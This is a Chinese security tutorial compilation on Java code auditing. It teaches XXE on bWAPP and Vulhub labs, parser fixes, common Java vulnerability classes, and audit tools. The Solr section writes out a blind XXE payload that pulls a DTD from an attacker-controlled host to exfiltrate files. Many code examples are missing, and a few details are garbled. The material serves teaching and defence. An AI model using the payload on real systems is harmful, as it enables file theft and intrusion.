「网络安全」JAVA代码审计——XXE外部实体注入

想要了解XXE,在那之前需要了解XML的相关基础

2.1 XML语法

  1. 所有的XML元素都必须有一个关闭标签
  2. XML标签对大小写敏感
  3. XML必须正确嵌套
  4. XML 文档必须有根元素
  5. XML属性值必须加引号

实体引用,在标签属性,以及对应的位置值可能会出现<>符号,但是这些符号在对应的XML中都是有特殊含义的,这时候我们必须使用对应html的实体对应的表示,比如<对应的实体就是<,>符号对应的实体就是>

在XML中,空格会被保留,如:<p>a空格B</p>,这时候a和B之间的空格就会被保留

2.2 XML结构

需要安全学习资料可以私信我:书籍、视频教程、工具及学习思路【点击查看】

2.2.1 XML文档声明

<?xml version=\”1.0\” encoding=\”utf-8\”?>

2.2.2 元素

元素是 XML 以及 HTML 文档的主要构建模块,元素可包含文本、其他元素或者是空的。

空元素有例如:hr、br、img

2.2.3 属性

属性可提供有关元素的额外信息

<img src=\”computer.gif\”/>其中,src为属性

2.2.4 实体

实体分为四种类型,分别为:

  • 字符实体
  • 命名实体
  • 外部实体
  • 参数实体

2.3 文档类型定义–DTD

DTD是用来规范XML文档格式,既可以用来说明哪些元素/属性是合法的以及元素间应当怎样嵌套/结合,也用来将一些特殊字符和可复用代码段自定义为实体

DTD可以嵌入XML文档当中(内部声明),也可以以单独的文件存放(外部引用)

2.3.1 DTD内部声明

假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:

<!DOCTYPE 根元素 [元素声明]>

内部声明DTD示例

以上 DTD 解释如下:

  • !DOCTYPE note (第二行)定义此文档是 note 类型的文档。
  • !ELEMENT note (第三行)定义 note 元素有四个元素:\”to、from、heading,、body\”
  • !ELEMENT to (第四行)定义 to 元素为 \”#PCDATA\” 类型
  • !ELEMENT from (第五行)定义 from 元素为 \”#PCDATA\” 类型
  • !ELEMENT heading (第六行)定义 heading 元素为 \”#PCDATA\” 类型
  • !ELEMENT body (第七行)定义 body 元素为 \”#PCDATA\” 类型

2.3.2 DTD外部引用

假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:

<!DOCTYPE 根元素 SYSTEM \”文件名\”>

这个 XML 文档和上面的 XML 文档相同,但是拥有一个外部的 DTD:

note.dtd:

2.3.3 PCDATA

PCDATA 的意思是被解析的字符数据(parsed character data)。

PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记,文本中的标签会被当作标记来处理,而实体会被展开,值得注意的是,PCDATA不应包含&、<和>字符,需要用& < >实体替换,又或者是使用CDATA

2.3.4 CDATA

CDATA 的意思是字符数据(character data)。

CDATA 是不会被解析器解析的文本。

在XML中&、<字符是属于违法的,这是因为解析器会将<解释为新元素的开始,将&解释为字符实体的开始,所以当我们有需要使用包含大量&、<字符的代码,则可以使用CDATA

CDATA由结束,在CDATA当中,不能包含]]>字符串,也不能嵌套CDATA,结尾的]]>字符串不能包含任何的空格和换行

2.3.5 DTD实体

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

实体又分为一般实体和参数实体

1,一般实体的声明语法:

引用实体的方式:&实体名;

2,参数实体只能在DTD中使用,参数实体的声明格式:

引用实体的方式:%实体名;

2.3.5.1 内部实体

2.3.5.2 外部实体

外部实体,用来引入外部资源。有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机

不同程序支持的协议不同

其中php支持的协议会更多一些,但需要一定的扩展支持。

​​

XXE即XML外部实体注入,由上面可知,外部实体指的就是DTD外部实体,而造成XXE的原因是在解析XML的时候,对恶意的外部实体进行解析导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害

如何判断

3.1 如何判断是否存在XXE

以bwapp靶场为例

首先查看http头,观察是否有XML相关字符串

再判断是否解析了XML内容

发现修改内容后服务器会解析相应的内容

3.2 XXE可导致的危害

3.2.1 读取文件

最主要使用的是使用XXE来读取文件,这里我使用bwapp靶场作为环境

我搭建环境的时候使用php版本为5.2.17的环境,我是使用phpstudy搭建的环境,如果php版本大于5.2.17或者使用docker环境(php版本为5.5.9)会导致没有回显,当然可能只是我的环境问题,但是如果以low难度进行注入时使用正确的payload都是显示An error occured!的话,可以尝试使用我的方法

3.2.1.1 有回响

首先先进入XXE漏洞的测试界面

http://192.168.0.105/bwapp/xxe-1.php

进行抓包,发现存在text/xml

通过修改数据,观察服务器是否会解析XML的内容

确定服务器会解析XML内容,就可以自己构造注入了

XML的外部实体“bee”被赋予的值为:file:///d:/robots.txt,当解析xml文档时,bee会被替换为file:///d:/robots.txt的内容。就被执行回显回来了。

3.2.1.2 无回显(Blind XXE)

但是在实际环境中XML大多数时候并非是为了输出用,所以很多时候是不会有输出的,这样即使XML被解析了但是是无法直接读取文件的,所以我们需要外带数据,把数据发送出来读取

靶场环境:Vulhub – Docker-Compose file for vulnerability environment

​​

搭建好环境后先进入此页面http://192.168.3.25:8983/solr/#/demo/query,然后点击提交,进行抓包,并把包发送到重放器

在本地主机(使用桥接)或者是云服务器,反正能让目标服务器连接到的ip的主机即可,在此服务器上创建dtd文件

创建完后修改包内的payload

/solr/demo/select?\\_=1641268411205&q=<%3fxml+version%3d\”1.0\”+%3f><!DOCTYPE+hack[<!ENTITY+%25+send+SYSTEM+\”http%3a//192.168.3.35/xxe.dtd\”>%25send%3b%25dtd%3b]><r>%26data%3b</r>&wt=xml&defType=xmlparser

该payload解码后为

<?xml version=\”1.0\” ?><!DOCTYPE hack[<!ENTITY % send SYSTEM \”http://192.168.3.35/xxe.dtd\”>%send;%dtd;]><r>&data</r>&wt=xml&defType=xmlparser注意,http://192.168.3.35/xxe.dtd这句需要改为自己的地址,同时发包的时候不要把&wt=xml&defType=xmlparser进行url编码,直接复制上去就好了

以上情况是当php报错时将里面的数据,如果php没有报错则使用下面的方法

首先先监听端口,然后在上面的基础上修改一下dtd文件

在连接后面附上监听的端口,发送后会在监听处收到信息,如果没有可以尝试查看服务器日志

这里用一下别人的图

参考链接:XXE漏洞详解——进阶篇 – FreeBuf网络安全行业门户

但是我这里复现没有成功,也有可能是直接通过报错读出文件的原因,但是还是记录一下这种情况

3.2.1.3 读取PHP等文件

由于一些文件,如php文件内含有<等字符,在读取的时候想、解析器会将这些解析为xml语言导致语法错误,所以为了避免这种情况出现使用伪协议来读取

3.2.1.4 端口探测

同样使用bwapp靶场作为环境

前面的流程基本一致,抓包后构造注入

在http连接后跟端口,如果端口开启,则会显示 failed to open stream: HTTP request failed!,否则不显示(或者显示failed to open stream: Connection refuse!或500状态码)

我这里使用phpstudy作为环境,所以开启了3306端口

测试666端口,机器没有开启,所以在发送包后获取响应包需要很长一段时间,最后报500错误码

测试1234端口,本机同样为开启,也是等待了一小会才获取到的响应包

3.2.1.5 远程命令执行RCE

要想要RCE需要使用expect协议,其他协议也有可能可以执行命令

​​

expect需要安装expect拓展

3.2.1.6 DDOS 攻击

参考文章:XXE从入门到放弃 – 安全客服,安全资讯平台 (anquanke.com)

该攻击通过创建一项递归的 XML 定义,在内存中生成十亿个”abc”字符串,从而导致 DDoS 攻击。原理为:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击。

3.2.1.7 防御XXE

方案一、使用开发语言提供的禁用外部实体的方法

方案二、过滤用户提交的XML数据

关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

不允许XML中含有任何自己声明的DTD

有效的措施:配置XML parser只能使用静态DTD,禁止外来引入;对于Java来说,直接设置相应的属性值为false即可

参考文章:(38条消息) XXE详解_bylfsj的博客-CSDN博客_xxe

XXE为XML External Entity Injection的英文缩写,当开发人员允许xml解析外部实体时,攻击者可构造恶意外部实体来达到任意文件读取、内网端口探测、命令执行、拒绝服务攻击等方面的攻击。

产生XXE有三个条件,首先是解析了XML,其次是XML外部可控。最后是没有禁用外部实体

5.1 XMLReader

XMLReader接口是一种通过回调读取XML文档的接口,其存在于公共区域中。XMLReader接口是XML解析器实现SAX2驱动程序所必需的接口,其允许应用程序设置和查询解析器中的功能和属性、注册文档处理的事件处理程序,以及开始文档解析。当XMLReader使用默认的解析方法并且未对XML进行过滤时,会出现XXE漏洞

5.2 SAXBuilder

SAXBuilder是一个JDOM解析器,其能够将路径中的XML文件解析为Document对象。SAXBuilder使用第三方SAX解析器来处理解析任务,并使用SAXHandler的实例侦听SAX事件。当SAXBuilder使用默认的解析方法并且未对XML进行过滤时,会出现XXE漏洞

5.3 SAXReader

DOM4J是dom4j.org出品的一个开源XML解析包,使用起来非常简单,只要了解基本的XML-DOM模型,就能使用。DOM4J读/写XML文档主要依赖于org.dom4j.io包,它有DOMReader和SAXReader两种方式。因为使用了同一个接口,所以这两种方式的调用方法是完全一致的。同样的,在使用默认解析方法并且未对XML进行过滤时,其也会出现XXE漏洞。

5.4 SAXParserFactory

SAXParserFactory使应用程序能够配置和获取基于SAX的解析器以解析XML文档。其受保护的构造方法,可以强制使用newInstance()。跟上面介绍的一样,在使用默认解析方法且未对XML进行过滤时,其也会出现XXE漏洞。

5.5 Digester

Digester类用来将XML映射成Java类,以简化XML的处理。它是Apache Commons库中的一个jar包:common-digester包。一样的在默认配置下会出现XXE漏洞。其触发的XXE漏洞是没有回显的,我们一般需通过Blind XXE的方法来利用

5.6 DocumentBuilderFactory

javax.xml.parsers包中的DocumentBuilderFactory用于创建DOM模式的解析器对象,DocumentBuilderFactory是一个抽象工厂类,它不能直接实例化,但该类提供了一个newInstance()方法,这个方法会根据本地平台默认安装的解析器,自动创建一个工厂的对象并返回。

​六、接口代码审计&修复

通过了解XXE的原理了解到防御XXE只需要做到以下几点

1、不解析XML,但是有的时候业务需要

2、禁用dtd,同样很多时候无法实现

3、禁用外部实体和参数实体

对大部分时候,都可以通过设置feature来控制解析器的行为

如果是启用了XIclude则要在feature规则前添加

以下代码均出于:java-sec-code/XXE.java at master · JoyChou93/java-sec-code (github.com)

6.1 XMLReader

6.2 修复代码

6.3 SAXBuilder

6.4 修复代码:

6.5 SAXReader

修复代码:

6.6 SAXParserFactory

6.7 修复代码:

6.8 Digester

修复代码:

6.9 DocumentBuilderFactory

6.9.1 代码1:

6.9.2 代码2:

6.9.3 修复代码:

6.9.4 代码3,支持XInclude:

6.9.4.1何为XInclude

Xinclude即为XML Include,其实就是文件包含,其作用很大时候可以使得代码更加简洁,当需要使用其中的内容的时候再把文件包含进来,可以参考php的include

修复代码;

6.10 XMLReader&SAXParserFactory

修复代码:

6.11 DocumentHelper

修复该漏洞只需升级dom4j到2.1.1及以上,该版本及以上禁用了ENTITY;

不带ENTITY的PoC不能利用,所以禁用ENTITY即可完成修复。

Java代码审计之不安全的Java代码

在打靶场的同时,需要想一下如果你是开发人员你会怎样去防御这种漏洞,而作为攻击方你又怎么去绕过开发人员的防御。

https://github.com/j3ers3/Hello-Java-Sec

​ SQLI(SQL Injection), SQL注入是因为程序未能正确对用户的输入进行检查,将用户的输入以拼接的方式带入SQL语句,导致了SQL注入的产生。攻击者可通过SQL注入直接获取数据库信息,造成信息泄漏。

​ JDBC有两个方法执行SQL语句,分别是PrepareStatement和Statement。

漏洞代码:

漏洞代码二:

​ MyBatis框架底层已经实现了对SQL注入的防御,但存在使用不当的情况下,仍然存在SQL注入的风险。

漏洞代码:

漏洞代码二:

​ 文件上传漏洞,是指用户上传了一个可执行的脚本文件(如jsp\\php\\asp),并通过此脚本文件获得了执行服务器端命令的能力。常见场景是web服务器允许用户上传图片或者普通文本文件保存,这种漏洞属于低成本高杀伤力

漏洞代码:

​ 目录遍历, 应用系统在处理下载文件时未对文件进行过滤,系统后台程序程序中如果不能正确地过滤客户端提交的../和./之类的目录跳转符,攻击者可以通过输入../进行目录跳转,从而下载、删除任意文件。

​ XSS(Cross Site Scripting) 跨站脚本攻击,攻击者插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

漏洞代码:

​ SSRF(Server-Side Request Forgery) 服务器端请求伪造,是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。

漏洞代码:

漏洞代码二:

​ RCE (Remote Code Execution), 远程代码执行漏洞,这里包含两种类型漏洞:

  • 命令注入(Command Injection),在某种开发需求中,需要引入对系统本地命令的支持来完成特定功能,当未对输入做过滤时,则会产生命令注入
  • 代码注入(Code Injection),在正常的java程序中注入一段java代码并执行,即用户输入的数据当作java代码进行执行。

漏洞代码:

漏洞代码二:

漏洞代码三:

漏洞代码四:

漏洞代码五:

​ 反序列化漏洞,当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码(多见于第三方组件产生的漏洞)

漏洞代码:

漏洞代码二:

漏洞代码三:

​ 失效的身份认证,通过错误使用应用程序的身份认证和会话管理功能,攻击者能够破译密码、密钥或会话令牌,或者利用其它开发缺陷来暂时性或永久性冒充其他用户的身份。

​ SpEL(Spring Expression Language)表达式注入, 是一种功能强大的表达式语言、用于在运行时查询和操作对象图,由于未对参数做过滤可造成任意命令执行。

漏洞代码:

​ XXE (XML External Entity Injection), XML外部实体注入,当开发人员配置其XML解析功能允许外部实体引用时,攻击者可利用这一可引发安全问题的配置方式,实施任意文件读取、内网端口探测、命令执行、拒绝服务等攻击。

漏洞代码:

漏洞代码二:

漏洞代码三:

​ 失效的访问控制(Broken Access Control),应用在检查授权时存在纰漏,使得攻击者在获得低权限用户账户后,利用一些方式绕过权限检查,访问或者操作其他用户或者更高权限。越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定,一旦权限验证不充分,就易致越权漏洞。

漏洞代码:

​ 接口未授权访问(Unauthorized Access),在不进行请求授权的情况下,能够直接对相应的业务逻辑功能进行访问、操作等。通常是由于认证页面存在缺陷或者无认证、安全配置不当等导致的。

漏洞代码:

​ SSTI(Server Side Template Injection) 服务器模板注入, 服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容。

漏洞代码:

组件中存在的漏洞

​ XStream是一个简单的基于Java库,Java对象序列化到XML,历史上存在多个反序列化漏洞。

漏洞代码:

​ fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean,历史上存在多个反序列化漏洞。

​ Jackson是一套开源的java序列化与反序列化工具框架,可将java对象序列化为xml和json格式的字符串并提供对应的反序列化过程。由于其解析效率较高,Jackson目前是Spring MVC中内置使用的解析方式。

漏洞代码:

​ Apache Log4j2是一款优秀的Java日志框架。此次漏洞是由 Log4j2 提供的lookup功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在处理数据时,并未对输入(如${jndi)进行严格的判断,从而造成JNDI注入

漏洞代码:

其他的一些漏洞

​ 开放重定向漏洞,是指后台服务器在告知浏览器跳转时,未对客户端传入的重定向地址进行合法性校验,导致用户浏览器跳转到钓鱼页面的一种漏洞

出现场景:用户登录、统一身份认证等需要跳转的地方

漏洞代码:

​ Actuator, 是Spring Boot提供的服务监控和管理中间件,默认配置会出现接口未授权访问,部分接口会泄露网站流量信息和内存信息等,使用Jolokia库特性甚至可以远程执行任意代码,获取服务器权限。

漏洞代码:

​ X-Forwarded-For地址伪造,很多Web应用需要获取用户的IP,通过IP伪造可以绕过一些安全限制。

漏洞代码:

​ Swagger未开启页面访问限制,Swagger未开启严格的Authorize认证。

​ CORS(Cross-origin resource sharing),即跨域资源共享,用于绕过SOP(同源策略)来实现跨域资源访问的一种技术。 CORS漏洞则是利用CORS技术窃取用户敏感数据,CORS漏洞的成因是服务端配置的规则不当所导致的,服务器端没有配置Access-Control-Allow-Origin等字段

漏洞代码:

​ Java命名和目录接口(JNDI)是一种Java API,类似于一个索引中心,它允许客户端通过name发现和查找数据和对象。JNDI注入就是当上文代码中jndiName这个变量可控时,引发的漏洞,它将导致远程class文件加载,从而导致远程代码执行。

漏洞代码:

​ DoS是Denial of Service的简称,即拒绝服务,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。

漏洞代码:

​ 验证码反复利用,可以直接进行暴力破解。(这是一类常见的安全问题)

一般来说,验证码是与Session绑定的,Session生成时,也伴随着验证码的生成和绑定,在访问页面时,接口的请求和验证码的生成通常是异步进行的,这使得两个功能变得相对独立。也就意味着我们如果仅请求接口,而不触发验证码的生成,那么验证码就不会变化。 并且在考虑安全时,开发人员的关注点往往在 验证码校验 是否通过,通过则进入业务流程,不通过则重新填写,而忽视了这个用户是否按照既定的业务流程在走(接口访问与验证码生成是否同时进行),验证码是否被多次使用了。

漏洞代码:

原文链接:https://www.cnblogs.com/mantou0/p/16695884.html?utm_source=tuicool&utm_medium=referral

java代码审计

Java代码审计是指对Java应用程序代码的分析,以确定是否存在安全漏洞和风险,并提出修复建议的过程。Java应用程序的开发在近年来已经成为了一种主流,随之而来的就是对Java代码安全性的关注。Java应用程序存在各种各样的安全问题,包括但不限于SQL注入、跨站点脚本(XSS)、跨站点请求伪造(CSRF)和文件包含漏洞等。因此,对Java代码进行审计,可以帮助开发者和安全团队及时发现和解决安全问题,确保应用程序的安全性。

Java应用程序代码审计也与Java语言及其框架的发展背景有关。Java语言的高度可移植性、跨平台性、安全性以及其生态系统的丰富性,使得Java应用程序成为了企业级和互联网应用程序的主要开发语言之一。与此同时,Java应用程序的快速开发和部署,也使得一些安全问题得以快速传播和扩散。在Java应用程序开发的过程中,开发者往往需要使用各种各样的框架和第三方库,这些框架和库的安全性也会直接影响到应用程序的安全性。因此,Java代码审计成为了保障Java应用程序安全的重要手段之一。

  1. 收集信息:通过查看源代码、分析日志、使用工具等方式,收集目标应用程序的信息,包括但不限于:应用程序的文件目录结构、配置文件、程序源代码、请求参数、数据库结构等。
  2. 风险评估:根据收集到的信息,分析应用程序中可能存在的漏洞和安全隐患,并对其进行评估,确定哪些漏洞最为严重、哪些应该优先修复。
  3. 漏洞挖掘:通过手动测试和工具扫描等方式,对应用程序进行漏洞挖掘。测试应包括各种类型的漏洞,例如:SQL注入、跨站脚本、跨站请求伪造等。
  4. 漏洞验证:验证漏洞是否真实存在,并确定漏洞的影响程度、可能的攻击方式和风险级别。
  5. 报告编写:将漏洞及其影响、攻击方式、风险级别等信息整理成报告,供开发者和管理者参考。报告应该详细说明漏洞的位置、修复建议等内容,并提供漏洞的PoC(漏洞利用代码)。
  6. 漏洞修复:由开发人员修复漏洞,并通过测试验证修复效果。在修复漏洞之后,应再次进行代码审计,以确保没有新的漏洞产生。

Java代码审计的方法包括手动审计、自动化审计和混合审计。

1、手动审计是通过人工分析源代码、使用工具等方式进行的,可以发现较为复杂的漏洞;

2、自动化审计则是利用工具对源代码进行扫描和分析,可以快速发现大量的漏洞,但需要手动验证漏洞是否真实存在;

3、混合审计则是将手动审计和自动化审计相结合,既可以发现复杂漏洞,又可以快速发现大量的漏洞

Java是一种面向对象的编程语言,基于C++语言而开发。它被广泛应用于网络编程、企业级应用、移动应用、游戏开发等领域。Java语言的基本语法和结构是学习Java编程的第一步,以下是Java语言的基本语法和结构:

  1. 注释:Java语言支持三种注释方式:单行注释、多行注释和文档注释。其中,单行注释以“//”开头,多行注释以“/”开头,“/”结尾,文档注释以“/*”开头,“/”结尾。
  2. 数据类型:Java语言的基本数据类型包括byte、short、int、long、float、double、char和boolean。其中,byte、short、int和long为整数类型;float和double为浮点数类型;char为字符类型;boolean为布尔类型。
  3. 变量:Java语言的变量有两种类型:局部变量和成员变量。局部变量在方法中定义,只在方法内部有效;成员变量在类中定义,可以被类的所有方法访问。
  4. 运算符:Java语言支持算术运算符、赋值运算符、比较运算符、逻辑运算符等多种运算符。
  5. 控制语句:Java语言的控制语句包括if语句、switch语句、for循环、while循环、do-while循环等。
  6. 数组:Java语言的数组是一个存储相同数据类型元素的容器,可以动态创建和初始化。
  7. 类和对象:Java语言是面向对象的,所有的代码都必须定义在类中。一个Java类包括属性和方法两部分,对象是类的一个实例化,可以通过“new”关键字创建。
  8. 继承和多态:Java语言支持继承和多态两种特性。继承是指子类可以继承父类的属性和方法,多态是指同一个方法在不同的对象中有不同的实现。
  9. 异常处理:Java语言提供了异常处理机制,可以捕获和处理程序运行过程中的异常,避免程序崩溃。

(1)Servlet Servlet是Java语言的一个重要组件,用于创建动态Web应用程序,可以通过Java Servlet API进行开发和部署,运行在Java EE容器中,用于接收和处理HTTP请求并生成响应。Servlet运行在服务器端,主要用于创建动态Web内容,Servlet是java EE的核心。也是所有MVC框架实现的根本。

(2)filter Filter(过滤器)是Java Web应用中的一个重要组件,主要用于过滤请求和响应,对其进行处理或修改。它可以在客户端向服务器发送请求之前或服务器响应客户端请求之前,对请求和响应进行拦截、过滤和处理,从而实现一些通用的功能,例如鉴权、日志记录、字符编码转换、性能监控、安全控制等。Filter基于Java Servlet规范,需要在web.xml文件中进行配置。当请求被发送到Web容器时,Filter可以对请求进行处理,也可以对响应进行处理,同时可以与其他Filter链式组合,形成一个Filter链,实现复杂的功能。

Filter有三个主要的回调方法:

  1. init(FilterConfig config): 用于初始化Filter,该方法只会在第一次调用该Filter时被调用。
  2. doFilter(ServletRequest request, ServletResponse response, FilterChain chain)`: 处理请求和响应,可以进行预处理、修改请求和响应,或者将请求和响应传递给下一个Filter。
  3. destroy(): 用于销毁Filter,在Filter生命周期结束时被调用。

Filter的处理过程可以通过FilterChain对象来实现,FilterChain对象可以将请求和响应传递给下一个Filter,也可以将请求和响应传递给Servlet容器处理,最终生成响应结果。FilterChain对象的调用顺序与在web.xml文件中配置的顺序相同。

总之,Filter是Java Web应用中非常重要的一个组件,可以实现很多通用的功能,减少代码重复,提高代码的可维护性和可扩展性。

Spring的英文翻译为春天,可以说是给Java程序员带来了春天,因为它极大的简化了开发,Spring是一个开放源代码的设计层面框架,它是于2003 年兴起的一个轻量级的Java 开发框架,框架的主要优势之一就是其分层架构,分层架构允许使用者选择使用哪一个组件,同时为 J2EE 应用程序开发提供集成的框架,Spring框架自从发布以来,就得到快速发展,经过时代的验证,现在已经是最受欢迎的企业级 Java 应用程序开发框架,数以百万的来自世界各地的开发人员使用 Spring 框架来创建性能好、易于测试、可重用的代码。从2004发布的第一个Spring版本,到现在已经更新到第五个Spring版本了。

Apache Shiro是一个Java的安全框架,提供身份验证、授权、加密、会话管理等安全功能。Shiro的设计目标是简单易用,同时提供灵活的扩展性和高度的安全性。Shiro是Apache软件基金会下的一个开源项目。Shiro提供了两个重要的安全概念,Subject和SecurityManager。Subject是Shiro的核心对象,代表当前用户。在Shiro中,开发人员可以通过Subject来完成身份认证、授权等操作。SecurityManager则是Shiro的安全管理器,用于管理Subject的登录、注销等操作。

Shiro支持多种身份认证方式,如基于表单的身份认证、基于HTTP的身份认证、基于CAS的身份认证等。在Shiro中,授权是通过角色和权限两个概念来实现的。角色是一组权限的集合,而权限则是操作某个资源的权限。Shiro提供了类似Spring Security的注解式授权方式,可以方便地对方法、类、URL等进行授权。

Struts2是一个基于MVC(Model-View-Controller)架构的Web应用程序框架,它使用Java Servlet和JavaServer Pages(JSP)技术来创建Web应用程序。Struts2提供了许多功能和特性,包括:

  1. (Interceptor):Struts2的允许开发人员定义在Action调用前后执行的逻辑。这样可以方便地实现各种功能,例如身份验证、日志记录、性能监控等。
  2. 动态表单校验:Struts2提供了一种方便的方式来定义表单校验规则,这些规则可以动态地在客户端和服务器端进行校验。
  3. 适配器(Adapter):Struts2的适配器允许开发人员在不修改应用程序代码的情况下,使用不同的视图技术(例如JSP、FreeMarker、Velocity等)。
  4. 国际化(I18n)支持:Struts2提供了内置的国际化支持,可以方便地实现多语言应用程序。
  5. AJAX支持:Struts2提供了方便的AJAX支持,可以轻松地实现AJAX应用程序。

总的来说,Struts2是一个功能强大、易于使用的Web应用程序框架,广泛应用于Java Web开发中。

Sublime Text 是一个跨平台的文本编辑器,具有丰富的功能和插件生态系统。它支持多种编程语言,包括Java,并且具有许多强大的功能,例如语法高亮、自动补全、代码片段、多窗口编辑、跨文件查找和替换、拆分窗口等。Sublime Text 还有一个庞大的插件社区,提供了各种功能丰富的插件,如代码格式化、代码审计等。

IDEA(IntelliJ IDEA)是一款由JetBrains公司开发的Java 集成开发环境,是目前Java 开发中使用最广泛的开发工具之一。IDEA拥有强大的代码编辑和智能提示功能,可以帮助开发者更快、更准确地编写代码。此外,IDEA还支持多种开发框架和技术,如Spring、Hibernate、Maven等,方便开发者进行项目的开发和管理。除此之外,IDEA还拥有丰富的插件支持,可以满足不同开发需求的扩展。

Eclipse是一个开放源代码的集成开发环境(IDE),用于Java开发。它包括一个Java开发工具,用于创建Java应用程序,以及一些其他的工具,可以支持多种编程语言,如C、C++、PHP、Python等。Eclipse提供了一些特性,如代码编辑器、编译器、调试器、图形用户界面构建工具、版本控制工具等,使得开发人员可以更加高效地开发和维护应用程序。

在测试过程中,会需要很多工具,抓包工具、数据库监视工具等等

1、Burp Suite

2、SwitchyOmega

3、MaxHacherBar

4、Postman

5、Postwoman

6、MySql 监视工具

7、Beyond Compare

接下来是几款常用的反编译工具

1、JD-GUI

2、FernFlower

3、IntellijIDEA

1、Fortify SCA

2、VCG

3、CFR

1、SQL 注入漏洞

2、XSS(跨站脚本攻击)漏洞

3、CSRF(跨站请求伪造)漏洞

4、文件上传漏洞

5、命令注入漏洞

6、认证和授权漏洞

7、逻辑漏洞

在本篇Java代码审计的基础理论Wiki中,我们从Java语言的基本语法和结构、Java类库和框架、Servlet和Filter、Apache Shiro和Struts2框架、Java代码审计的流程和方法,以及常见的Java代码审计工具和编辑器等方面进行了介绍。通过学习这些基础理论,我们可以更好地理解Java代码的运行机制,从而更加深入地了解Java代码审计的方法和技巧。

同时,在进行Java代码审计时,我们也应该充分利用各种工具和编辑器,如Sublime、IDEA、Eclipse、Postman和Postwoman等,提高审计的效率和准确性。

本文作者及来源:Renderbus瑞云渲染农场https://www.renderbus.com

点赞 0
收藏 0

文章为作者独立观点不代本网立场,未经允许不得转载。